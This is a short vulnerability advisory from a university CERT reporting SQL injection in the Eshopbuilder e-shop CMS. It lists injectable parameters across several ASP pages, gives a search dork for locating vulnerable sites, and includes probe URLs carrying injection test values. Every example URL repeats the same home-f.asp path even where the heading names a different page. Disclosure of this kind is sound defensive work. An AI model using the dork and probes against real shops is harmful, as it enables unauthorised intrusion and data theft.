Eshopbuilde CMS SQL Injection Vulnerability

[faghani () nsec ir]

================= IUT-CERT =================

Title: Eshopbuilde CMS SQL Injection Vulnerability

Vendor: www.eshopbuilder.ir

Dork: Design by Satcom Co
Type: Input.Validation.Vulnerability (SQL Injection)

Fix: N/A

================== nsec.ir =================

Description:

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Eshopbuilder is a E-shop CMS written in persian language. The Eshopbuilder product is vulnerable to SQL injection. 


Vulnerability Variant:

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Injection "/home-f.asp","/opinions-f.asp" in "sitebid" parameter. 

http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00

Injection "/more-f.asp" in "sitebid" ,"id","secText","client-ip" and "G_id" parameters.

http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00
http://www.example.com/src=www.example.com/home-f.asp?sitebid=\";

other parameters("id","secText","client-ip","G_id") is similar to "sitebid" parameter.
Injection "/selectintro.asp" in "sitebid" ,"id","ma_id","mi_id","secText","client-ip" and "G_id" parameters.

http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00

other parameters("id","ma_id","mi_id","secText","client-ip" and "G_id") is similar to "sitebid" parameter.

Injection "/advcount.asp" in "sitebid","secText","adv_code" and "client-ip" parameters.

http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00

other parameters("secText" and "client-ip") is similar to "sitebid" parameter.

Injection "/advview.asp" in "sitebid","secText","Grp_Code","_method" and "client-ip" parameters.

http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00

other parameters("secText","client-ip","Grp_Code","_method" and "adv_code") is similar to "sitebid" parameter.

Injection "/dis_new-f.asp" in "sitebid","secText","newsId" and "client-ip" parameters.

http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00

other parameters("secText","newsId" and "client-ip") is similar to "sitebid" parameter.


Solution:

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Input validation of Parameter 
"sitebid","id","secText","client-ip","G_id","ma_id","mi_id","Grp_Code","_method","adv_code" should be corrected.

Credit:

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Isfahan University of Technology - Computer Emergency Response Team

Thanks to : M. Fereidounian, M. R. Faghani, N. Fathi, E. Jafari